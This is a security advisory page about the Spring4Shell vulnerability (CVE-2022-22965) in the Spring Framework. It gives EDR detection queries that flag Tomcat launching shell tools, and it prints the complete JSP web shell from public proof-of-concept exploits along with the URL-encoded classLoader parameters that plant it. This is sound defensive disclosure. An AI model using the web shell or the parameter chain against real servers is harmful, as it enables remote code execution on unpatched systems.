What We Do
How we do it
Resources
Company
ABOUT ESENTIRE
About Us
eSentire is The Authority in Managed Detection and Response Services, protecting the critical data and applications of 2000+ organizations in 80+ countries from known and unknown cyber threats. Founded in 2001, the company’s mission is to hunt, investigate and stop cyber threats before they become business disrupting events.
Read about how we got here
Leadership Work at eSentire
LATEST PRESS RELEASE
Mar 20, 2023
Exertis and eSentire Partner to Deliver 24/7 Multi-Signal MDR, Digital Forensics & IR Services and Exposure Management to Organisations Across the UK, Ireland, and Europe
Basingstoke, UK– 20 March, 2023. Leading technology distributor, Exertis, announced today that it has bolstered its cybersecurity services, adding eSentire, the Authority in Managed Detection and Response (MDR), to its Enterprise portfolio of offerings. eSentire’s award-winning, 24/7 multi-signal MDR, Digital Forensics & Incident Response (IR), and Exposure Management services will be available…
Read More
Partners
PARTNER PROGRAM
e3 Ecosystem
We provide sophisticated cybersecurity solutions for Managed Security Service Providers (MSSPs), Managed Service Providers (MSPs), and Value-Added Resellers (VARs). Find out why you should partner with eSentire, the Authority in Managed Detection and Response, today.
Learn more
ECOSYSTEM PARTNER RESOURCES
Apply to become an e3 ecosystem partner with eSentire, the Authority in Managed Detection and Response.
Login to the Partner Portal for resources and content for current partners.
Search
Resources
Security advisories — Mar 31, 2022

Spring4Shell - CVE-2022-22965

3 minutes read
Speak With A Security Expert Now

THE THREAT

On March 30th, security researchers disclosed a high severity vulnerability impacting the Spring Core Framework. The Spring Framework is an open-source application framework used to support the development of Java applications. The vulnerability is tracked as CVE-2022-22965, alternatively dubbed Spring4Shell, and allows for unauthenticated Remote Code Execution (RCE). CVE-2022-22965 is related to an old code injection vulnerability tracked as CVE-2010-1622. The new vulnerability bypasses previous patches for CVE-2010-1622. It should be noted that successful exploitation requires a range of parameters to be met on the victim machine; requirements for exploitation are listed in the Additional Information section of this advisory.

Proof-of-Concept (PoC) exploit code is widely available at the time of publishing. eSentire is aware of claims of exploitation in the wild; organizations are strongly recommended to apply the available updates as soon as possible.

What we're doing about it

What you should do about it

Additional information

There has been significant confusion relating to the Spring4Shell vulnerability. Initial claims stated that three unique vulnerabilities were discovered. At the time of writing, two distinct Spring vulnerabilities have been identified, CVE-2022-22965, and an RCE vulnerability in Spring Cloud Function tracked as CVE-2022-22963. Security patches for CVE-2022-22963 were made available on March 29th, 2022.

This topic is rapidly evolving and security teams at eSentire continue to monitor the topic for additional details and detection opportunities.

Requirements for Exploitation:

Impacted Spring Framework Versions:

Identifying Signs of Exploitation:

1. Look for suspicious JSP file(s) written to disk under a Tomcat process. This can be accomplished by reviewing the file system or using EDR:

"shell.jsp" and "tomcatwar.jsp" have been observed in PoC exploits but are still somewhat generic. filemod:shell.jsp filemod:tomcatwar.jsp filemod:.jsp filemod:.jsp AND process_name:tomcat*.exe filemod:shell.jsp AND process_name:tomcat*.exe

A generic rule for post-exploitation of Tomcat servers may also yield results:

parent_name:tomcat*.exe AND (process_name:cmd.exe OR process_name:powershell.exe) AND (childproc_name:powershell.exe OR childproc_name:certutil.exe OR childproc_name:mshta.exe OR childproc_name:jscript*.exe OR childproc_name:regsvr32.exe OR childproc_name:rundll32.exe OR childproc_name:wmic.exe OR childproc_name:vbscript.exe) AND -cmdline:"chcp 1252" AND -cmdline:pagefile AND -cmdline:"-ComputerName" AND -cmdline:"wmic os get caption" AND -cmdline:"soffice%"

2. To verify, the JSP payload will look similar to this:

<% if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } } %>// - if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } } -

3. Examine HTTP access logs for signs of exploitation attempts. The Tomcat access logs will contain the following:

<attacker's IP> - - [31/Mar/2022:18:04:53 +0000] "GET /example/tomcatwar.jsp?pwd=j&cmd=whoami HTTP/1.1" 200 554 (the parameters in red might change depending on the attacker’s intentions).

Other malicious GET requests might append one of the following at the end:

class.module.classLoader.resources.context.parent.pipeline.first.pattern= %25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request .getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20- 1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b)) !%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT (Please note that the attacker might place the JSP payload under a different directory) class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Caveat: PoC code we have observed concatenates the parameters mentioned above to deliver the payload to the vulnerable instance and submits them via an HTTP POST request (Figure 1). This won't likely show up in HTTP access logs if POST logging is not manually enabled.

Figure 1: Concatenated parameters that are used to deliver the JSP file

References

[1] https://tanzu.vmware.com/security/cve-2022-22965
[2] https://tanzu.vmware.com/security/cve-2022-22963
[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1622
[4] https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/

View Most Recent Blogs